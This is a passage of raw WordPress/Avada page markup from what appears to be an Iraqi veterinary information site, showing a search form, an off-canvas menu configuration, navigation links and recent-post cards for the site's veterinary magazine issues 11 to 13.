class="off-canvas-content"><div class="fusion-fullwidth fullwidth-box fusion-builder-row-6 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling" style="--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-justify-content-center fusion-flex-content-wrap" style="max-width:1302px;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-20 fusion_builder_column_5_6 5_6 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:83.333333333333%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:0px;--awb-spacing-right-large:2.85%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.85%;--awb-width-medium:83.333333333333%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:2.85%;--awb-spacing-left-medium:2.85%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-search-element fusion-search-element-1 fusion-search-form-classic" style="--awb-input-height:80px;--awb-border-radius:0px;--awb-border-size-top:0px;--awb-border-size-right:0px;--awb-border-size-left:0px;--awb-text-color:var(--awb-color3);--awb-border-color:var(--awb-color5);--awb-text-size:18px;--awb-bg-color:hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%));"><form role="search" class="searchform fusion-search-form  fusion-live-search fusion-search-form-classic" method="get" action="https://nahrainveterinary.com/"><div class="fusion-search-form-content"><div class="fusion-search-field search-field">
<label><span class="screen-reader-text">Search for:</span>
<input type="search" class="s fusion-live-search-input" name="s" id="fusion-live-search-input-0" autocomplete="off" placeholder="Type your keyword(s) ..." required aria-required="true" aria-label="Type your keyword(s) ..."/>
</label></div><div class="fusion-search-button search-button">
<input type="submit" class="fusion-search-submit searchsubmit" aria-label="Search" value="&#xf002;" /><div class="fusion-slider-loading"></div></div><input type="hidden" name="post_type[]" value="any" /><input type="hidden" name="search_limit_to_post_titles" value="0" /><input type="hidden" name="add_woo_product_skus" value="0" /><input type="hidden" name="live_min_character" value="4" /><input type="hidden" name="live_posts_per_page" value="30" /><input type="hidden" name="live_search_display_featured_image" value="1" /><input type="hidden" name="live_search_display_post_type" value="1" /><input type="hidden" name="fs" value="1" /></div><div class="fusion-search-results-wrapper"><div class="fusion-search-results"></div></div></form></div><div class="fusion-text fusion-text-13 fusion-no-small-visibility fusion-no-medium-visibility" style="--awb-content-alignment:center;--awb-font-size:var(--awb-typography5-font-size);--awb-line-height:var(--awb-typography5-line-height);--awb-letter-spacing:var(--awb-typography5-letter-spacing);--awb-text-transform:var(--awb-typography5-text-transform);--awb-text-color:var(--awb-color5);--awb-margin-top:20px;--awb-text-font-family:var(--awb-typography5-font-family);--awb-text-font-weight:var(--awb-typography5-font-weight);--awb-text-font-style:var(--awb-typography5-font-style);"><p>Press &#8220;ESC&#8221; key to close</p></div></div></div></div></div></div></div></div></div><script type="litespeed/javascript">window.off_canvas_1046={"type":"popup","width":"100%","width_medium":"","width_small":"","height":"full","custom_height":"","custom_height_medium":"","custom_height_small":"","horizontal_position":"center","horizontal_position_medium":"center","horizontal_position_small":"center","vertical_position":"flex-end","vertical_position_medium":"center","vertical_position_small":"center","content_layout":"column","align_content":"center","valign_content":"flex-start","content_wrap":"wrap","enter_animation":"slide","enter_animation_direction":"down","enter_animation_speed":"0.8","enter_animation_timing":"ease","exit_animation":"slide","exit_animation_direction":"up","exit_animation_speed":"0.8","exit_animation_timing":"ease","off_canvas_state":"opened","sb_height":"","position":"left","transition":"overlap","css_class":"","css_id":"","sb_enter_animation":"slideShort","sb_enter_animation_speed":0.5,"sb_enter_animation_timing":"ease","sb_exit_animation":"slideShort","sb_exit_animation_speed":0.5,"sb_exit_animation_timing":"ease","background_color":"hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 100%))","background_image":"","background_position":"left top","background_repeat":"no-repeat","background_size":"auto","background_custom_size":{"width":"","height":""},"background_blend_mode":"none","oc_scrollbar":"hidden","oc_scrollbar_background":"#f2f3f5","oc_scrollbar_handle_color":"#65bc7b","margin":{"top":"","right":"","bottom":"","left":""},"padding":{"top":"","right":"","bottom":"","left":""},"box_shadow":"no","box_shadow_position":{"vertical":"","horizontal":""},"box_shadow_blur":"0","box_shadow_spread":"0","box_shadow_color":"","border_radius":{"top_left":"","top_right":"","bottom_right":"","bottom_left":""},"border_width":{"top":"","right":"","bottom":"","left":""},"border_color":"","overlay":"yes","overlay_z_index":"","overlay_page_scrollbar":"yes","overlay_background_color":"hsla(var(--awb-color8-h),var(--awb-color8-s),calc(var(--awb-color8-l) - 5%),calc(var(--awb-color8-a) - 2%))","overlay_background_image":"","overlay_background_position":"left top","overlay_background_repeat":"no-repeat","overlay_background_size":"auto","overlay_background_custom_size":{"width":"","height":""},"overlay_background_blend_mode":"none","overlay_close_on_click":"yes","close_on_anchor_click":"no","close_on_esc":"yes","auto_close_after_time":"","close_button":"yes","close_button_position":"right","show_close_button_after_time":"2","close_button_margin":{"top":"35px","right":"35px","bottom":"","left":""},"close_button_color":"var(--awb-color3)","close_button_color_hover":"var(--awb-color1)","close_icon_size":"20","close_button_custom_icon":"fusion-prefix-awb-magazine-times-solid","on_page_load":"no","time_on_page":"no","time_on_page_duration":"","on_scroll":"no","scroll_direction":"up","scroll_to":"position","scroll_position":"","scroll_element":"","on_click":"no","on_click_element":"","exit_intent":"no","after_inactivity":"no","inactivity_duration":"","on_add_to_cart":"no","publish_date_after":"","publish_date_until":"","frequency":"forever","frequency_xtimes":"","frequency_xdays":"","after_x_page_views":"no","number_of_page_views":"","after_x_sessions":"no","number_of_sessions":"","when_arriving_from":"","until_consent_interaction":"none","users":"all","users_roles":"","device":"","status_css_animations":"desktop","main_padding":{"top":""},"conditions_enabled":"no","preview_post":"0","preview_page":"0","preview_avada_portfolio":"0","preview_avada_faq":"0","preview_archives":"post","has_js_rules":!1}</script><div id="awb-oc-1684" class="awb-off-canvas-wrap type-sliding-bar position-right hidden-scrollbar" style="--awb-horizontal-position:flex-end;--awb-vertical-position:flex-end;--awb-overlay-background-color:rgba(0,0,0,0.8);--awb-width:500px;--awb-height:100dvh;--awb-box-shadow:;--awb-background-color:#ffffff;--awb-content-layout:column;--awb-align-content:flex-start;--awb-valign-content:flex-start;--awb-content-wrap:wrap;--awb-close-icon-size:16px;" data-id="1684"><div class="awb-off-canvas" tabindex="-1"><button class="off-canvas-close awb-icon-close close-position-right" aria-label="Close"></button><div class="awb-off-canvas-inner content-layout-column" style=""><div class="off-canvas-content"><div class="fusion-fullwidth fullwidth-box fusion-builder-row-7 fusion-flex-container has-pattern-background has-mask-background nonhundred-percent-fullwidth non-hundred-percent-height-scrolling" style="--awb-border-radius-top-left:0px;--awb-border-radius-top-right:0px;--awb-border-radius-bottom-right:0px;--awb-border-radius-bottom-left:0px;--awb-flex-wrap:wrap;" ><div class="fusion-builder-row fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="max-width:1302px;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-21 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-padding-right:15px;--awb-padding-left:15px;--awb-padding-right-small:0px;--awb-padding-left-small:0px;--awb-bg-size:cover;--awb-width-large:100%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:35px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-12 fusion-title-text fusion-title-size-five" style="--awb-margin-bottom:25px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:40px;--awb-margin-left-small:0px;"><div class="title-sep-container title-sep-container-left fusion-no-large-visibility fusion-no-medium-visibility fusion-no-small-visibility"><div class="title-sep sep-single sep-solid" style="border-color:var(--awb-color3);"></div></div><span class="awb-title-spacer fusion-no-large-visibility fusion-no-medium-visibility fusion-no-small-visibility"></span><h5 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;">main menu</h5><span class="awb-title-spacer"></span><div class="title-sep-container title-sep-container-right"><div class="title-sep sep-single sep-solid" style="border-color:var(--awb-color3);"></div></div></div><nav class="awb-menu awb-menu_column awb-menu_em-click mobile-mode-collapse-to-button awb-menu_icons-left awb-menu_dc-yes mobile-trigger-fullwidth-off awb-menu_mobile-accordion awb-menu_indent-left awb-menu_mt-align-flex-start close-on-outer-click-yes mobile-size-full-absolute loading mega-menu-loading awb-menu_desktop awb-menu_v-stacked awb-submenu_cm_accordion" style="--awb-font-size:var(--awb-typography5-font-size);--awb-line-height:var(--awb-typography5-line-height);--awb-text-transform:var(--awb-typography5-text-transform);--awb-gap:10px;--awb-letter-spacing:var(--awb-typography5-letter-spacing);--awb-active-color:var(--awb-color4);--awb-submenu-sep-color:hsla(var(--awb-color3-h),var(--awb-color3-s),calc(var(--awb-color3-l) + 2%),var(--awb-color3-a));--awb-submenu-active-bg:var(--awb-color1);--awb-submenu-active-color:hsla(var(--awb-color5-h),var(--awb-color5-s),var(--awb-color5-l),calc(var(--awb-color5-a) - 40%));--awb-submenu-font-size:var(--awb-typography5-font-size);--awb-submenu-text-transform:var(--awb-typography5-text-transform);--awb-submenu-line-height:var(--awb-typography5-line-height);--awb-submenu-letter-spacing:var(--awb-typography5-letter-spacing);--awb-main-justify-content:flex-start;--awb-justify-title:flex-start;--awb-mobile-justify:flex-start;--awb-mobile-caret-left:auto;--awb-mobile-caret-right:0;--awb-fusion-font-family-typography:var(--awb-typography5-font-family);--awb-fusion-font-weight-typography:var(--awb-typography5-font-weight);--awb-fusion-font-style-typography:var(--awb-typography5-font-style);--awb-fusion-font-family-submenu-typography:var(--awb-typography5-font-family);--awb-fusion-font-weight-submenu-typography:var(--awb-typography5-font-weight);--awb-fusion-font-style-submenu-typography:var(--awb-typography5-font-style);--awb-fusion-font-family-mobile-typography:inherit;--awb-fusion-font-style-mobile-typography:normal;--awb-fusion-font-weight-mobile-typography:400;" aria-label="Sliding Bar" data-breakpoint="0" data-count="2" data-transition-type="fade" data-transition-time="300"><ul id="menu-sliding-bar" class="fusion-menu awb-menu__main-ul awb-menu__main-ul_column"><li  id="menu-item-2071"  class="menu-item menu-item-type-custom menu-item-object-custom menu-item-2071 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2071"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Home</span></a></li><li  id="menu-item-2068"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2068 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2068"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/vet-colleges/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Vet Colleges</span></a></li><li  id="menu-item-2070"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2070 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2070"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/vet-clinics/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Vet Clinics</span></a></li><li  id="menu-item-2067"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2067 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2067"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/vet-companies/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Vet Companies</span></a></li><li  id="menu-item-2066"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2066 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2066"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/laws-regulations/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Laws &#038; Regulations</span></a></li><li  id="menu-item-2069"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2069 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2069"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/magazine/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Magazine</span></a></li><li  id="menu-item-2487"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2487 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="2487"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/contact/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">Contact</span></a></li><li  id="menu-item-1701"  class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1701 awb-menu__li awb-menu__main-li awb-menu__main-li_regular"  data-item-id="1701"><span class="awb-menu__main-background-default awb-menu__main-background-default_fade"></span><span class="awb-menu__main-background-active awb-menu__main-background-active_fade"></span><a  href="https://nahrainveterinary.com/about/" class="awb-menu__main-a awb-menu__main-a_regular"><span class="menu-text">About</span></a></li></ul></nav></div></div><div class="fusion-layout-column fusion_builder_column fusion-builder-column-22 fusion_builder_column_1_1 1_1 fusion-flex-column" style="--awb-padding-right:15px;--awb-padding-left:15px;--awb-padding-right-small:0px;--awb-padding-left-small:0px;--awb-bg-size:cover;--awb-width-large:100%;--awb-flex-grow:0;--awb-flex-shrink:0;--awb-margin-top-large:35px;--awb-spacing-right-large:2.375%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:2.375%;--awb-width-medium:100%;--awb-order-medium:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-spacing-right-medium:2.375%;--awb-spacing-left-medium:2.375%;--awb-width-small:100%;--awb-order-small:0;--awb-flex-grow-small:;--awb-flex-shrink-small:;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-13 fusion-title-text fusion-title-size-five" style="--awb-margin-bottom:25px;--awb-margin-top-small:10px;--awb-margin-right-small:0px;--awb-margin-bottom-small:40px;--awb-margin-left-small:0px;"><div class="title-sep-container title-sep-container-left fusion-no-large-visibility fusion-no-medium-visibility fusion-no-small-visibility"><div class="title-sep sep-single sep-solid" style="border-color:var(--awb-color3);"></div></div><span class="awb-title-spacer fusion-no-large-visibility fusion-no-medium-visibility fusion-no-small-visibility"></span><h5 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;">recent posts</h5><span class="awb-title-spacer"></span><div class="title-sep-container title-sep-container-right"><div class="title-sep sep-single sep-solid" style="border-color:var(--awb-color3);"></div></div></div><div class="fusion-post-cards fusion-post-cards-2 fusion-grid-archive fusion-grid-columns-1 fusion-grid-flex-grow" style="--awb-column-spacing:0px;--awb-dots-align:center;--awb-columns:1;--awb-active-filter-border-size:3px;--awb-filters-height:36px;--awb-row-spacing:20px;--awb-columns-medium:100%;--awb-columns-small:100%;" data-post-type-label="posts"><ul class="fusion-grid fusion-grid-1 fusion-flex-align-items-flex-start fusion-grid-posts-cards"><li class="fusion-layout-column fusion_builder_column fusion-builder-column-23 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-blend:overlay;--awb-bg-size:cover;--awb-border-color:var(--awb-color3);--awb-border-style:solid;--awb-transform:translateX(0px);--awb-transform-hover:translateX(10px);--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-20 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:30%;--awb-margin-top-large:0px;--awb-spacing-right-large:7.9166666666667%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:7.9166666666667%;--awb-width-medium:30%;--awb-order-medium:0;--awb-spacing-right-medium:7.9166666666667%;--awb-spacing-left-medium:7.9166666666667%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-classic-product-image-wrapper fusion-woo-product-image fusion-post-card-image fusion-post-card-image-1 has-aspect-ratio" data-layout="static" style="--awb-aspect-ratio-position:21% 47%;--awb-aspect-ratio:1.25;"><div  class="fusion-image-wrapper" aria-haspopup="true">
<a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-11/" aria-label="nahrain veterinary magazine no. 11">
<img decoding="async" width="1835" height="2560" src="https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-scaled.jpg" class="attachment-full size-full lazyload wp-post-image" alt="" srcset="data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%271835%27%20height%3D%272560%27%20viewBox%3D%270%200%201835%202560%27%3E%3Crect%20width%3D%271835%27%20height%3D%272560%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E" data-orig-src="https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-scaled.jpg" data-srcset="https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-200x279.jpg 200w, https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-400x558.jpg 400w, https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-600x837.jpg 600w, https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-800x1116.jpg 800w, https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-1200x1675.jpg 1200w, https://nahrainveterinary.com/wp-content/uploads/2026/08/Untitled-1-scaled.jpg 1835w" data-sizes="auto" />			</a></div></div></div></div><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-21 fusion-flex-column" style="--awb-padding-left:10px;--awb-padding-right-small:20px;--awb-padding-left-small:20px;--awb-bg-size:cover;--awb-width-large:60%;--awb-margin-top-large:0px;--awb-spacing-right-large:3.9583333333333%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:3.9583333333333%;--awb-width-medium:60%;--awb-order-medium:0;--awb-spacing-right-medium:3.9583333333333%;--awb-spacing-left-medium:3.9583333333333%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-14 fusion-sep-none fusion-title-text fusion-title-size-six" style="--awb-margin-top:0px;--awb-margin-bottom:0px;--awb-margin-top-small:25px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h6 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-11/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 11</a></h6></div><div class="fusion-meta-tb fusion-meta-tb-1 floated" style="--awb-border-bottom:0px;--awb-border-top:0px;--awb-height:44px;--awb-text-color:var(--awb-color5);--awb-link-color:var(--awb-color4);--awb-alignment-medium:flex-start;--awb-alignment-small:flex-start;"><span class="fusion-tb-categories">Categories: <a href="https://nahrainveterinary.com/category/magazine/" rel="category tag">Magazine</a></span><span class="fusion-meta-tb-sep"></span></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-24 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-blend:overlay;--awb-bg-size:cover;--awb-border-color:var(--awb-color3);--awb-border-style:solid;--awb-transform:translateX(0px);--awb-transform-hover:translateX(10px);--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-22 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:30%;--awb-margin-top-large:0px;--awb-spacing-right-large:7.9166666666667%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:7.9166666666667%;--awb-width-medium:30%;--awb-order-medium:0;--awb-spacing-right-medium:7.9166666666667%;--awb-spacing-left-medium:7.9166666666667%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-classic-product-image-wrapper fusion-woo-product-image fusion-post-card-image fusion-post-card-image-1 has-aspect-ratio" data-layout="static" style="--awb-aspect-ratio-position:21% 47%;--awb-aspect-ratio:1.25;"><div  class="fusion-image-wrapper" aria-haspopup="true">
<a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-12/" aria-label="nahrain veterinary magazine no. 12">
<img decoding="async" width="1835" height="2560" src="https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-scaled.jpg" class="attachment-full size-full lazyload wp-post-image" alt="" srcset="data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20width%3D%271835%27%20height%3D%272560%27%20viewBox%3D%270%200%201835%202560%27%3E%3Crect%20width%3D%271835%27%20height%3D%272560%27%20fill-opacity%3D%220%22%2F%3E%3C%2Fsvg%3E" data-orig-src="https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-scaled.jpg" data-srcset="https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-200x279.jpg 200w, https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-400x558.jpg 400w, https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-600x837.jpg 600w, https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-800x1116.jpg 800w, https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-1200x1674.jpg 1200w, https://nahrainveterinary.com/wp-content/uploads/2026/08/NAHRIN-VI-MAGAZINE-12.indd-NEW.pdf-_Page_01-scaled.jpg 1835w" data-sizes="auto" />			</a></div></div></div></div><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-23 fusion-flex-column" style="--awb-padding-left:10px;--awb-padding-right-small:20px;--awb-padding-left-small:20px;--awb-bg-size:cover;--awb-width-large:60%;--awb-margin-top-large:0px;--awb-spacing-right-large:3.9583333333333%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:3.9583333333333%;--awb-width-medium:60%;--awb-order-medium:0;--awb-spacing-right-medium:3.9583333333333%;--awb-spacing-left-medium:3.9583333333333%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-title title fusion-title-15 fusion-sep-none fusion-title-text fusion-title-size-six" style="--awb-margin-top:0px;--awb-margin-bottom:0px;--awb-margin-top-small:25px;--awb-margin-right-small:0px;--awb-margin-bottom-small:10px;--awb-margin-left-small:0px;--awb-link-color:var(--awb-color8);--awb-link-hover-color:var(--awb-color4);"><h6 class="fusion-title-heading title-heading-left" style="margin:0;text-transform:capitalize;"><a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-12/" class="awb-custom-text-color awb-custom-text-hover-color" target="_self">nahrain veterinary magazine no. 12</a></h6></div><div class="fusion-meta-tb fusion-meta-tb-2 floated" style="--awb-border-bottom:0px;--awb-border-top:0px;--awb-height:44px;--awb-text-color:var(--awb-color5);--awb-link-color:var(--awb-color4);--awb-alignment-medium:flex-start;--awb-alignment-small:flex-start;"><span class="fusion-tb-categories">Categories: <a href="https://nahrainveterinary.com/category/magazine/" rel="category tag">Magazine</a></span><span class="fusion-meta-tb-sep"></span></div></div></div></div></div></li><li class="fusion-layout-column fusion_builder_column fusion-builder-column-25 fusion-flex-column post-card fusion-grid-column fusion-post-cards-grid-column" style="--awb-bg-blend:overlay;--awb-bg-size:cover;--awb-border-color:var(--awb-color3);--awb-border-style:solid;--awb-transform:translateX(0px);--awb-transform-hover:translateX(10px);--awb-flex-grow:0;--awb-flex-shrink:0;--awb-flex-grow-medium:;--awb-flex-shrink-medium:;--awb-flex-grow-small:;--awb-flex-shrink-small:;"><div class="fusion-column-wrapper fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-builder-row fusion-builder-row-inner fusion-row fusion-flex-align-items-flex-start fusion-flex-content-wrap" style="--awb-flex-grow:0;--awb-flex-grow-medium:0;--awb-flex-grow-small:0;--awb-flex-shrink:0;--awb-flex-shrink-medium:0;--awb-flex-shrink-small:0;width:105% !important;max-width:105% !important;margin-left: calc(-5% / 2 );margin-right: calc(-5% / 2 );"><div class="fusion-layout-column fusion_builder_column_inner fusion-builder-nested-column-24 fusion-flex-column" style="--awb-bg-size:cover;--awb-width-large:30%;--awb-margin-top-large:0px;--awb-spacing-right-large:7.9166666666667%;--awb-margin-bottom-large:0px;--awb-spacing-left-large:7.9166666666667%;--awb-width-medium:30%;--awb-order-medium:0;--awb-spacing-right-medium:7.9166666666667%;--awb-spacing-left-medium:7.9166666666667%;--awb-width-small:100%;--awb-order-small:0;--awb-spacing-right-small:2.375%;--awb-spacing-left-small:2.375%;"><div class="fusion-column-wrapper fusion-column-has-shadow fusion-flex-justify-content-flex-start fusion-content-layout-column"><div class="fusion-classic-product-image-wrapper fusion-woo-product-image fusion-post-card-image fusion-post-card-image-1 has-aspect-ratio" data-layout="static" style="--awb-aspect-ratio-position:21% 47%;--awb-aspect-ratio:1.25;"><div  class="fusion-image-wrapper" aria-haspopup="true">
<a href="https://nahrainveterinary.com/nahrain-veterinary-magazine-no-13-%d9%85%d8%ac%d9%84%d8%a9-%d8%a7%d9%84%d9%86%d9%87%d8%b1%db%8c%d9%86-%d8%a7%d9%84%d8%a8%db%8c%d8%b7%d8%b1%db%8c%d8%a9/" aria-label="nahrain veterinary magazine no. 13  مجلة النهرین البیطریة">
